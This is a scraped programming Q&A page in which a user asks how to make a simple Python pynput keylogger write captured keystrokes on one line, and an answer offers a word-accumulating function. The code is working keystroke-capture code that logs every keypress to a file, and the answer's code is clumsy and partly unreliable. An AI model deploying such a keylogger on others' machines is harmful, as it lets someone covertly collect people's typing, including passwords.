Skip to content
Advertisement

Simple keylogger “Problem in logging to a file”

Problem :

Logging file saves one char after another in a new line for each char.

Objective is to log all char in a same line

is there is a problem with format in logging or ?

Code

from pynput.keyboard import Key, Listener
import logging

#log file path
log_path=""

logging.basicConfig(filename=(log_path+"log_file.txt"), level=logging.DEBUG, format=' %(message)s' ) 

def btn_press(key):
    logging.info(key)


with Listener(on_press=btn_press) as listene:
    listene.join()

Result: logging

–>In File.txt

l

o

g

g

i

n

g

Expected Result

logging

–>In File.txt

logging

Like this output is needed

what kind of format this requires?

Advertisement

Answer

This function is to capture a word/sentence

old=""
space = False
def key_log(key):
    global old
    global space

    if key=="Key.space":
        space=True

    if len(key) == 1:
        if space:
            key = old + " " + key
            space=False

        else:
            key = old + "" + key

        old = key
        print(key)
    else:
         print(key)
    logging.info(key)

using this function

def btn_press(key):
    #logging.info(key) 
     key_log(str(key))

Result logging

–>File.txt

l

lo

log

logg

loggi

loggin

logging

This way is better or any other way for it?

small help would be appreciated!.

User contributions licensed under: CC BY-SA
4 People found this is helpful
Advertisement